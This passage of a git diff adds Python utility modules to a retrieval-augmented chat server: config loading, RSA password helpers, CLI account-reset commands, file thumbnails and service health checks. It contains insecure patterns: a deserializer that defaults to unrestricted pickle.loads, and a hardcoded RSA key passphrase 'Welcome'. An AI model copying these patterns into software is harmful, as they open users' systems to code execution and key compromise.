return decorator + + +async def is_strong_enough(chat_model, embedding_model): + count = settings.STRONG_TEST_COUNT + if not chat_model or not embedding_model: + return + if isinstance(count, int) and count <= 0: + return + + @timeout(60, 2) + async def _is_strong_enough(): + nonlocal chat_model, embedding_model + if embedding_model: + with trio.fail_after(10): + _ = await trio.to_thread.run_sync(lambda: embedding_model.encode(["Are you strong enough!?"])) + if chat_model: + with trio.fail_after(30): + res = await trio.to_thread.run_sync(lambda: chat_model.chat("Nothing special.", [{"role": "user", "content": "Are you strong enough!?"}], {})) + if res.find("**ERROR**") >= 0: + raise Exception(res) + + # Pressure test for GraphRAG task + async with trio.open_nursery() as nursery: + for _ in range(count): + nursery.start_soon(_is_strong_enough) diff --git a/api/utils/base64_image.py b/api/utils/base64_image.py new file mode 100644 index 0000000..25afcf3 --- /dev/null +++ b/api/utils/base64_image.py @@ -0,0 +1,56 @@ +import base64 +import logging +from functools import partial +from io import BytesIO + +from PIL import Image + +test_image_base64 = "iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAIAAAD/gAIDAAAA6ElEQVR4nO3QwQ3AIBDAsIP9d25XIC+EZE8QZc18w5l9O+AlZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBT+IYAHHLHkdEgAAAABJRU5ErkJggg==" +test_image = base64.b64decode(test_image_base64) + + +async def image2id(d: dict, storage_put_func: partial, objname:str, bucket:str="imagetemps"): + import logging + from io import BytesIO + import trio + from rag.svr.task_executor import minio_limiter + if not d.get("image"): + return + + with BytesIO() as output_buffer: + if isinstance(d["image"], bytes): + output_buffer.write(d["image"]) + output_buffer.seek(0) + else: + # If the image is in RGBA mode, convert it to RGB mode before saving it in JPEG format. + if d["image"].mode in ("RGBA", "P"): + converted_image = d["image"].convert("RGB") + d["image"] = converted_image + try: + d["image"].save(output_buffer, format='JPEG') + except OSError as e: + logging.warning( + "Saving image exception, ignore: {}".format(str(e))) + + async with minio_limiter: + await trio.to_thread.run_sync(lambda: storage_put_func(bucket=bucket, fnm=objname, binary=output_buffer.getvalue())) + d["img_id"] = f"{bucket}-{objname}" + if not isinstance(d["image"], bytes): + d["image"].close() + del d["image"] # Remove image reference + + +def id2image(image_id:str|None, storage_get_func: partial): + if not image_id: + return + arr = image_id.split("-") + if len(arr) != 2: + return + bkt, nm = image_id.split("-") + try: + blob = storage_get_func(bucket=bkt, filename=nm) + if not blob: + return + return Image.open(BytesIO(blob)) + except Exception as e: + logging.exception(e) diff --git a/api/utils/commands.py b/api/utils/commands.py new file mode 100644 index 0000000..a1a8d02 --- /dev/null +++ b/api/utils/commands.py @@ -0,0 +1,78 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import base64 +import click +import re + +from flask import Flask +from werkzeug.security import generate_password_hash + +from api.db.services import UserService + + +@click.command('reset-password', help='Reset the account password.') +@click.option('--email', prompt=True, help='The email address of the account whose password you need to reset') +@click.option('--new-password', prompt=True, help='the new password.') +@click.option('--password-confirm', prompt=True, help='the new password confirm.') +def reset_password(email, new_password, password_confirm): + if str(new_password).strip() != str(password_confirm).strip(): + click.echo(click.style('sorry. The two passwords do not match.', fg='red')) + return + user = UserService.query(email=email) + if not user: + click.echo(click.style('sorry. The Email is not registered!.', fg='red')) + return + encode_password = base64.b64encode(new_password.encode('utf-8')).decode('utf-8') + password_hash = generate_password_hash(encode_password) + user_dict = { + 'password': password_hash + } + UserService.update_user(user[0].id,user_dict) + click.echo(click.style('Congratulations! Password has been reset.', fg='green')) + + +@click.command('reset-email', help='Reset the account email.') +@click.option('--email', prompt=True, help='The old email address of the account whose email you need to reset') +@click.option('--new-email', prompt=True, help='the new email.') +@click.option('--email-confirm', prompt=True, help='the new email confirm.') +def reset_email(email, new_email, email_confirm): + if str(new_email).strip() != str(email_confirm).strip(): + click.echo(click.style('Sorry, new email and confirm email do not match.', fg='red')) + return + if str(new_email).strip() == str(email).strip(): + click.echo(click.style('Sorry, new email and old email are the same.', fg='red')) + return + user = UserService.query(email=email) + if not user: + click.echo(click.style('sorry. the account: [{}] not exist .'.format(email), fg='red')) + return + if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,4}$", new_email): + click.echo(click.style('sorry. {} is not a valid email. '.format(new_email), fg='red')) + return + new_user = UserService.query(email=new_email) + if new_user: + click.echo(click.style('sorry. the account: [{}] is exist .'.format(new_email), fg='red')) + return + user_dict = { + 'email': new_email + } + UserService.update_user(user[0].id,user_dict) + click.echo(click.style('Congratulations!, email has been reset.', fg='green')) + +def register_commands(app: Flask): + app.cli.add_command(reset_password) + app.cli.add_command(reset_email) diff --git a/api/utils/common.py b/api/utils/common.py new file mode 100644 index 0000000..ae1d7b4 --- /dev/null +++ b/api/utils/common.py @@ -0,0 +1,46 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +def string_to_bytes(string): + return string if isinstance( + string, bytes) else string.encode(encoding="utf-8") + + +def bytes_to_string(byte): + return byte.decode(encoding="utf-8") + + +def convert_bytes(size_in_bytes: int) -> str: + """ + Format size in bytes. + """ + if size_in_bytes == 0: + return "0 B" + + units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'] + i = 0 + size = float(size_in_bytes) + + while size >= 1024 and i < len(units) - 1: + size /= 1024 + i += 1 + + if i == 0 or size >= 100: + return f"{size:.0f} {units[i]}" + elif size >= 10: + return f"{size:.1f} {units[i]}" + else: + return f"{size:.2f} {units[i]}" diff --git a/api/utils/configs.py b/api/utils/configs.py new file mode 100644 index 0000000..48e4922 --- /dev/null +++ b/api/utils/configs.py @@ -0,0 +1,179 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +import io +import copy +import logging +import base64 +import pickle +import importlib + +from api.utils import file_utils +from filelock import FileLock +from api.utils.common import bytes_to_string, string_to_bytes +from api.constants import SERVICE_CONF + + +def conf_realpath(conf_name): + conf_path = f"conf/{conf_name}" + return os.path.join(file_utils.get_project_base_directory(), conf_path) + + +def read_config(conf_name=SERVICE_CONF): + local_config = {} + local_path = conf_realpath(f'local.{conf_name}') + + # load local config file + if os.path.exists(local_path): + local_config = file_utils.load_yaml_conf(local_path) + if not isinstance(local_config, dict): + raise ValueError(f'Invalid config file: "{local_path}".') + + global_config_path = conf_realpath(conf_name) + global_config = file_utils.load_yaml_conf(global_config_path) + + if not isinstance(global_config, dict): + raise ValueError(f'Invalid config file: "{global_config_path}".') + + global_config.update(local_config) + return global_config + + +CONFIGS = read_config() + + +def show_configs(): + msg = f"Current configs, from {conf_realpath(SERVICE_CONF)}:" + for k, v in CONFIGS.items(): + if isinstance(v, dict): + if "password" in v: + v = copy.deepcopy(v) + v["password"] = "*" * 8 + if "access_key" in v: + v = copy.deepcopy(v) + v["access_key"] = "*" * 8 + if "secret_key" in v: + v = copy.deepcopy(v) + v["secret_key"] = "*" * 8 + if "secret" in v: + v = copy.deepcopy(v) + v["secret"] = "*" * 8 + if "sas_token" in v: + v = copy.deepcopy(v) + v["sas_token"] = "*" * 8 + if "oauth" in k: + v = copy.deepcopy(v) + for key, val in v.items(): + if "client_secret" in val: + val["client_secret"] = "*" * 8 + if "authentication" in k: + v = copy.deepcopy(v) + for key, val in v.items(): + if "http_secret_key" in val: + val["http_secret_key"] = "*" * 8 + msg += f"\n\t{k}: {v}" + logging.info(msg) + + +def get_base_config(key, default=None): + if key is None: + return None + if default is None: + default = os.environ.get(key.upper()) + return CONFIGS.get(key, default) + + +def decrypt_database_password(password): + encrypt_password = get_base_config("encrypt_password", False) + encrypt_module = get_base_config("encrypt_module", False) + private_key = get_base_config("private_key", None) + + if not password or not encrypt_password: + return password + + if not private_key: + raise ValueError("No private key") + + module_fun = encrypt_module.split("#") + pwdecrypt_fun = getattr( + importlib.import_module( + module_fun[0]), + module_fun[1]) + + return pwdecrypt_fun(private_key, password) + + +def decrypt_database_config( + database=None, passwd_key="password", name="database"): + if not database: + database = get_base_config(name, {}) + + database[passwd_key] = decrypt_database_password(database[passwd_key]) + return database + + +def update_config(key, value, conf_name=SERVICE_CONF): + conf_path = conf_realpath(conf_name=conf_name) + if not os.path.isabs(conf_path): + conf_path = os.path.join( + file_utils.get_project_base_directory(), conf_path) + + with FileLock(os.path.join(os.path.dirname(conf_path), ".lock")): + config = file_utils.load_yaml_conf(conf_path=conf_path) or {} + config[key] = value + file_utils.rewrite_yaml_conf(conf_path=conf_path, config=config) + + +safe_module = { + 'numpy', + 'rag_flow' +} + + +class RestrictedUnpickler(pickle.Unpickler): + def find_class(self, module, name): + import importlib + if module.split('.')[0] in safe_module: + _module = importlib.import_module(module) + return getattr(_module, name) + # Forbid everything else. + raise pickle.UnpicklingError("global '%s.%s' is forbidden" % + (module, name)) + + +def restricted_loads(src): + """Helper function analogous to pickle.loads().""" + return RestrictedUnpickler(io.BytesIO(src)).load() + + +def serialize_b64(src, to_str=False): + dest = base64.b64encode(pickle.dumps(src)) + if not to_str: + return dest + else: + return bytes_to_string(dest) + + +def deserialize_b64(src): + src = base64.b64decode( + string_to_bytes(src) if isinstance( + src, str) else src) + use_deserialize_safe_module = get_base_config( + 'use_deserialize_safe_module', False) + if use_deserialize_safe_module: + return restricted_loads(src) + return pickle.loads(src) diff --git a/api/utils/crypt.py b/api/utils/crypt.py new file mode 100644 index 0000000..eb922a8 --- /dev/null +++ b/api/utils/crypt.py @@ -0,0 +1,64 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import base64 +import os +import sys +from Cryptodome.PublicKey import RSA +from Cryptodome.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 +from api.utils import file_utils + + +def crypt(line): + """ + decrypt(crypt(input_string)) == base64(input_string), which frontend and admin_client use. + """ + file_path = os.path.join(file_utils.get_project_base_directory(), "conf", "public.pem") + rsa_key = RSA.importKey(open(file_path).read(), "Welcome") + cipher = Cipher_pkcs1_v1_5.new(rsa_key) + password_base64 = base64.b64encode(line.encode('utf-8')).decode("utf-8") + encrypted_password = cipher.encrypt(password_base64.encode()) + return base64.b64encode(encrypted_password).decode('utf-8') + + +def decrypt(line): + file_path = os.path.join(file_utils.get_project_base_directory(), "conf", "private.pem") + rsa_key = RSA.importKey(open(file_path).read(), "Welcome") + cipher = Cipher_pkcs1_v1_5.new(rsa_key) + return cipher.decrypt(base64.b64decode(line), "Fail to decrypt password!").decode('utf-8') + + +def decrypt2(crypt_text): + from base64 import b64decode, b16decode + from Crypto.Cipher import PKCS1_v1_5 as Cipher_PKCS1_v1_5 + from Crypto.PublicKey import RSA + decode_data = b64decode(crypt_text) + if len(decode_data) == 127: + hex_fixed = '00' + decode_data.hex() + decode_data = b16decode(hex_fixed.upper()) + + file_path = os.path.join(file_utils.get_project_base_directory(), "conf", "private.pem") + pem = open(file_path).read() + rsa_key = RSA.importKey(pem, "Welcome") + cipher = Cipher_PKCS1_v1_5.new(rsa_key) + decrypt_text = cipher.decrypt(decode_data, None) + return (b64decode(decrypt_text)).decode() + + +if __name__ == "__main__": + passwd = crypt(sys.argv[1]) + print(passwd) + print(decrypt(passwd)) diff --git a/api/utils/file_utils.py b/api/utils/file_utils.py new file mode 100644 index 0000000..63e96fb --- /dev/null +++ b/api/utils/file_utils.py @@ -0,0 +1,286 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import json +import os +import re +import shutil +import subprocess +import sys +import tempfile +import threading +from io import BytesIO + +import pdfplumber +from cachetools import LRUCache, cached +from PIL import Image +from ruamel.yaml import YAML + +from api.constants import IMG_BASE64_PREFIX +from api.db import FileType + +PROJECT_BASE = os.getenv("RAG_PROJECT_BASE") or os.getenv("RAG_DEPLOY_BASE") +RAG_BASE = os.getenv("RAG_BASE") + +LOCK_KEY_pdfplumber = "global_shared_lock_pdfplumber" +if LOCK_KEY_pdfplumber not in sys.modules: + sys.modules[LOCK_KEY_pdfplumber] = threading.Lock() + + +def get_project_base_directory(*args): + global PROJECT_BASE + if PROJECT_BASE is None: + PROJECT_BASE = os.path.abspath( + os.path.join( + os.path.dirname(os.path.realpath(__file__)), + os.pardir, + os.pardir, + ) + ) + + if args: + return os.path.join(PROJECT_BASE, *args) + return PROJECT_BASE + + +def get_rag_directory(*args): + global RAG_BASE + if RAG_BASE is None: + RAG_BASE = os.path.abspath( + os.path.join( + os.path.dirname(os.path.realpath(__file__)), + os.pardir, + os.pardir, + os.pardir, + ) + ) + if args: + return os.path.join(RAG_BASE, *args) + return RAG_BASE + + +def get_rag_python_directory(*args): + return get_rag_directory("python", *args) + + +def get_home_cache_dir(): + dir = os.path.join(os.path.expanduser("~"), ".ragflow") + try: + os.mkdir(dir) + except OSError: + pass + return dir + + +@cached(cache=LRUCache(maxsize=10)) +def load_json_conf(conf_path): + if os.path.isabs(conf_path): + json_conf_path = conf_path + else: + json_conf_path = os.path.join(get_project_base_directory(), conf_path) + try: + with open(json_conf_path) as f: + return json.load(f) + except BaseException: + raise EnvironmentError("loading json file config from '{}' failed!".format(json_conf_path)) + + +def dump_json_conf(config_data, conf_path): + if os.path.isabs(conf_path): + json_conf_path = conf_path + else: + json_conf_path = os.path.join(get_project_base_directory(), conf_path) + try: + with open(json_conf_path, "w") as f: + json.dump(config_data, f, indent=4) + except BaseException: + raise EnvironmentError("loading json file config from '{}' failed!".format(json_conf_path)) + + +def load_json_conf_real_time(conf_path): + if os.path.isabs(conf_path): + json_conf_path = conf_path + else: + json_conf_path = os.path.join(get_project_base_directory(), conf_path) + try: + with open(json_conf_path) as f: + return json.load(f) + except BaseException: + raise EnvironmentError("loading json file config from '{}' failed!".format(json_conf_path)) + + +def load_yaml_conf(conf_path): + if not os.path.isabs(conf_path): + conf_path = os.path.join(get_project_base_directory(), conf_path) + try: + with open(conf_path) as f: + yaml = YAML(typ="safe", pure=True) + return yaml.load(f) + except Exception as e: + raise EnvironmentError("loading yaml file config from {} failed:".format(conf_path), e) + + +def rewrite_yaml_conf(conf_path, config): + if not os.path.isabs(conf_path): + conf_path = os.path.join(get_project_base_directory(), conf_path) + try: + with open(conf_path, "w") as f: + yaml = YAML(typ="safe") + yaml.dump(config, f) + except Exception as e: + raise EnvironmentError("rewrite yaml file config {} failed:".format(conf_path), e) + + +def rewrite_json_file(filepath, json_data): + with open(filepath, "w", encoding="utf-8") as f: + json.dump(json_data, f, indent=4, separators=(",", ": ")) + f.close() + + +def filename_type(filename): + filename = filename.lower() + if re.match(r".*\.pdf$", filename): + return FileType.PDF.value + + if re.match(r".*\.(msg|eml|doc|docx|ppt|pptx|yml|xml|htm|json|jsonl|ldjson|csv|txt|ini|xls|xlsx|wps|rtf|hlp|pages|numbers|key|md|py|js|java|c|cpp|h|php|go|ts|sh|cs|kt|html|sql)$", filename): + return FileType.DOC.value + + if re.match(r".*\.(wav|flac|ape|alac|wavpack|wv|mp3|aac|ogg|vorbis|opus)$", filename): + return FileType.AURAL.value + + if re.match(r".*\.(jpg|jpeg|png|tif|gif|pcx|tga|exif|fpx|svg|psd|cdr|pcd|dxf|ufo|eps|ai|raw|WMF|webp|avif|apng|icon|ico|mpg|mpeg|avi|rm|rmvb|mov|wmv|asf|dat|asx|wvx|mpe|mpa|mp4)$", filename): + return FileType.VISUAL.value + + return FileType.OTHER.value + + +def thumbnail_img(filename, blob): + """ + MySQL LongText max length is 65535 + """ + filename = filename.lower() + if re.match(r".*\.pdf$", filename): + with sys.modules[LOCK_KEY_pdfplumber]: + pdf = pdfplumber.open(BytesIO(blob)) + + buffered = BytesIO() + resolution = 32 + img = None + for _ in range(10): + # https://github.com/jsvine/pdfplumber?tab=readme-ov-file#creating-a-pageimage-with-to_image + pdf.pages[0].to_image(resolution=resolution).annotated.save(buffered, format="png") + img = buffered.getvalue() + if len(img) >= 64000 and resolution >= 2: + resolution = resolution / 2 + buffered = BytesIO() + else: + break + pdf.close() + return img + + elif re.match(r".*\.(jpg|jpeg|png|tif|gif|icon|ico|webp)$", filename): + image = Image.open(BytesIO(blob)) + image.thumbnail((30, 30)) + buffered = BytesIO() + image.save(buffered, format="png") + return buffered.getvalue() + + elif re.match(r".*\.(ppt|pptx)$", filename): + import aspose.pydrawing as drawing + import aspose.slides as slides + + try: + with slides.Presentation(BytesIO(blob)) as presentation: + buffered = BytesIO() + scale = 0.03 + img = None + for _ in range(10): + # https://reference.aspose.com/slides/python-net/aspose.slides/slide/get_thumbnail/#float-float + presentation.slides[0].get_thumbnail(scale, scale).save(buffered, drawing.imaging.ImageFormat.png) + img = buffered.getvalue() + if len(img) >= 64000: + scale = scale / 2.0 + buffered = BytesIO() + else: + break + return img + except Exception: + pass + return None + + +def thumbnail(filename, blob): + img = thumbnail_img(filename, blob) + if img is not None: + return IMG_BASE64_PREFIX + base64.b64encode(img).decode("utf-8") + else: + return "" + + +def traversal_files(base): + for root, ds, fs in os.walk(base): + for f in fs: + fullname = os.path.join(root, f) + yield fullname + + +def repair_pdf_with_ghostscript(input_bytes): + if shutil.which("gs") is None: + return input_bytes + + with tempfile.NamedTemporaryFile(suffix=".pdf") as temp_in, tempfile.NamedTemporaryFile(suffix=".pdf") as temp_out: + temp_in.write(input_bytes) + temp_in.flush() + + cmd = [ + "gs", + "-o", + temp_out.name, + "-sDEVICE=pdfwrite", + "-dPDFSETTINGS=/prepress", + temp_in.name, + ] + try: + proc = subprocess.run(cmd, capture_output=True, text=True) + if proc.returncode != 0: + return input_bytes + except Exception: + return input_bytes + + temp_out.seek(0) + repaired_bytes = temp_out.read() + + return repaired_bytes + + +def read_potential_broken_pdf(blob): + def try_open(blob): + try: + with pdfplumber.open(BytesIO(blob)) as pdf: + if pdf.pages: + return True + except Exception: + return False + return False + + if try_open(blob): + return blob + + repaired = repair_pdf_with_ghostscript(blob) + if try_open(repaired): + return repaired + + return blob diff --git a/api/utils/health.py b/api/utils/health.py new file mode 100644 index 0000000..394154b --- /dev/null +++ b/api/utils/health.py @@ -0,0 +1,104 @@ +from timeit import default_timer as timer + +from api import settings +from api.db.db_models import DB +from rag.utils.redis_conn import REDIS_CONN +from rag.utils.storage_factory import STORAGE_IMPL + + +def _ok_nok(ok: bool) -> str: + return "ok" if ok else "nok" + + +def check_db() -> tuple[bool, dict]: + st = timer() + try: + # lightweight probe; works for MySQL/Postgres + DB.execute_sql("SELECT 1") + return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_redis() -> tuple[bool, dict]: + st = timer() + try: + ok = bool(REDIS_CONN.health()) + return ok, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_doc_engine() -> tuple[bool, dict]: + st = timer() + try: + meta = settings.docStoreConn.health() + # treat any successful call as ok + return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", **(meta or {})} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_storage() -> tuple[bool, dict]: + st = timer() + try: + STORAGE_IMPL.health() + return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_chat() -> tuple[bool, dict]: + st = timer() + try: + cfg = getattr(settings, "CHAT_CFG", None) + ok = bool(cfg and cfg.get("factory")) + return ok, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def run_health_checks() -> tuple[dict, bool]: + result: dict[str, str | dict] = {} + + db_ok, db_meta = check_db() + chat_ok, chat_meta = check_chat() + + result["db"] = _ok_nok(db_ok) + if not db_ok: + result.setdefault("_meta", {})["db"] = db_meta + + result["chat"] = _ok_nok(chat_ok) + if not chat_ok: + result.setdefault("_meta", {})["chat"] = chat_meta + + # Optional probes (do not change minimal contract but exposed for observability) + try: + redis_ok, redis_meta = check_redis() + result["redis"] = _ok_nok(redis_ok) + if not redis_ok: + result.setdefault("_meta", {})["redis"] = redis_meta + except Exception: + result["redis"] = "nok" + + try: + doc_ok, doc_meta = check_doc_engine() + result["doc_engine"] = _ok_nok(doc_ok) + if not doc_ok: + result.setdefault("_meta", {})["doc_engine"] = doc_meta + except Exception: + result["doc_engine"] = "nok" + + try: + sto_ok, sto_meta = check_storage() + result["storage"] = _ok_nok(sto_ok) + if not sto_ok: + result.setdefault("_meta", {})["storage"] = sto_meta + except Exception: + result["storage"] = "nok" + + all_ok = (result.get("db") == "ok") and (result.get("chat") == "ok") + result["status"] = "ok" if all_ok else "nok" + return result, all_ok + + diff --git a/api/utils/health_utils.py b/api/utils/health_utils.py new file mode 100644 index 0000000..1396d75 --- /dev/null +++ b/api/utils/health_utils.py @@ -0,0 +1,200 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import requests +from timeit import default_timer as timer + +from api import settings +from api.db.db_models import DB +from rag import settings as rag_settings +from rag.utils.redis_conn import REDIS_CONN +from rag.utils.storage_factory import STORAGE_IMPL +from rag.utils.es_conn import ESConnection +from rag.utils.infinity_conn import InfinityConnection + + +def _ok_nok(ok: bool) -> str: + return "ok" if ok else "nok" + + +def check_db() -> tuple[bool, dict]: + st = timer() + try: + # lightweight probe; works for MySQL/Postgres + DB.execute_sql("SELECT 1") + return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_redis() -> tuple[bool, dict]: + st = timer() + try: + ok = bool(REDIS_CONN.health()) + return ok, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_doc_engine() -> tuple[bool, dict]: + st = timer() + try: + meta = settings.docStoreConn.health() + # treat any successful call as ok + return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", **(meta or {})} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def check_storage() -> tuple[bool, dict]: + st = timer() + try: + STORAGE_IMPL.health() + return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"} + except Exception as e: + return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)} + + +def get_es_cluster_stats() -> dict: + doc_engine = os.getenv('DOC_ENGINE', 'elasticsearch') + if doc_engine != 'elasticsearch': + raise Exception("Elasticsearch is not in use.") + try: + return { + "alive": True, + "message": ESConnection().get_cluster_stats() + } + except Exception as e: + return { + "alive": False, + "message": f"error: {str(e)}", + } + + +def get_infinity_status(): + doc_engine = os.getenv('DOC_ENGINE', 'elasticsearch') + if doc_engine != 'infinity': + raise Exception("Infinity is not in use.") + try: + return { + "alive": True, + "message": InfinityConnection().health() + } + except Exception as e: + return { + "alive": False, + "message": f"error: {str(e)}", + } + + +def get_mysql_status(): + try: + cursor = DB.execute_sql("SHOW PROCESSLIST;") + res_rows = cursor.fetchall() + headers = ['id', 'user', 'host', 'db', 'command', 'time', 'state', 'info'] + cursor.close() + return { + "alive": True, + "message": [dict(zip(headers, r)) for r in res_rows] + } + except Exception as e: + return { + "alive": False, + "message": f"error: {str(e)}", + } + + +def check_minio_alive(): + start_time = timer() + try: + response = requests.get(f'http://{rag_settings.MINIO["host"]}/minio/health/live') + if response.status_code == 200: + return {'alive': True, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."} + else: + return {'alive': False, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."} + except Exception as e: + return { + "alive": False, + "message": f"error: {str(e)}", + } + + +def get_redis_info(): + try: + return { + "alive": True, + "message": REDIS_CONN.info() + } + except Exception as e: + return { + "alive": False, + "message": f"error: {str(e)}", + } + + +def check_ragflow_server_alive(): + start_time = timer() + try: + response = requests.get(f'http://{settings.HOST_IP}:{settings.HOST_PORT}/v1/system/ping') + if response.status_code == 200: + return {'alive': True, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."} + else: + return {'alive': False, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."} + except Exception as e: + return { + "alive": False, + "message": f"error: {str(e)}", + } + + +def run_health_checks() -> tuple[dict, bool]: + result: dict[str, str | dict] = {} + + db_ok, db_meta = check_db() + result["db"] = _ok_nok(db_ok) + if not db_ok: + result.setdefault("_meta", {})["db"] = db_meta + + try: + redis_ok, redis_meta = check_redis() + result["redis"] = _ok_nok(redis_ok) + if not redis_ok: + result.setdefault("_meta", {})["redis"] = redis_meta + except Exception: + result["redis"] = "nok" + + try: + doc_ok, doc_meta = check_doc_engine() + result["doc_engine"] = _ok_nok(doc_ok) + if not doc_ok: + result.setdefault("_meta", {})["doc_engine"] = doc_meta + except Exception: + result["doc_engine"] = "nok" + + try: + sto_ok, sto_meta = check_storage() + result["storage"] = _ok_nok(sto_ok) + if not sto_ok: + result.setdefault("_meta", {})["storage"] = sto_meta + except Exception: + result["storage"] = "nok" + + + all_ok = (result.get("db") == "ok") and (result.get("redis") == "ok") and (result.get("doc_engine") == "ok") and (result.get("storage") == "ok") + result["status"] = "ok" if all_ok else "nok" + return result, all_ok + + diff --git a/api/utils/json.py b/api/utils/json.py new file mode 100644 index 0000000..b21addd --- /dev/null +++ b/api/utils/json.py @@ -0,0 +1,78 @@ +import datetime +import json +from enum import Enum, IntEnum +from api.utils.common import string_to_bytes, bytes_to_string + + +class BaseType: + def to_dict(self): + return dict([(k.lstrip("_"), v) for k, v in self.__dict__.items()]) + + def to_dict_with_type(self): + def _dict(obj): + module = None + if issubclass(obj.__class__, BaseType): + data = {} + for attr, v in obj.__dict__.items(): + k = attr.lstrip("_") + data[k] = _dict(v) + module = obj.__module__ + elif isinstance(obj, (list, tuple)): + data = [] + for i, vv in enumerate(obj): + data.append(_dict(vv)) + elif isinstance(obj, dict): + data = {} + for _k, vv in obj.items(): + data[_k] = _dict(vv) + else: + data = obj + return {"type": obj.__class__.__name__, + "data": data, "module": module} + + return _dict(self) + + +class CustomJSONEncoder(json.JSONEncoder): + def __init__(self, **kwargs): + self._with_type = kwargs.pop("with_type", False) + super().__init__(**kwargs) + + def default(self, obj): + if isinstance(obj, datetime.datetime): + return obj.strftime('%Y-%m-%d %H:%M:%S') + elif isinstance(obj, datetime.date): + return obj.strftime('%Y-%m-%d') + elif isinstance(obj, datetime.timedelta): + return str(obj) + elif issubclass(type(obj), Enum) or issubclass(type(obj), IntEnum): + return obj.value + elif isinstance(obj, set): + return list(obj) + elif issubclass(type(obj), BaseType): + if not self._with_type: + return obj.to_dict() + else: + return obj.to_dict_with_type() + elif isinstance(obj, type): + return obj.__name__ + else: + return json.JSONEncoder.default(self, obj) + + +def json_dumps(src, byte=False, indent=None, with_type=False): + dest = json.dumps( + src, + indent=indent, + 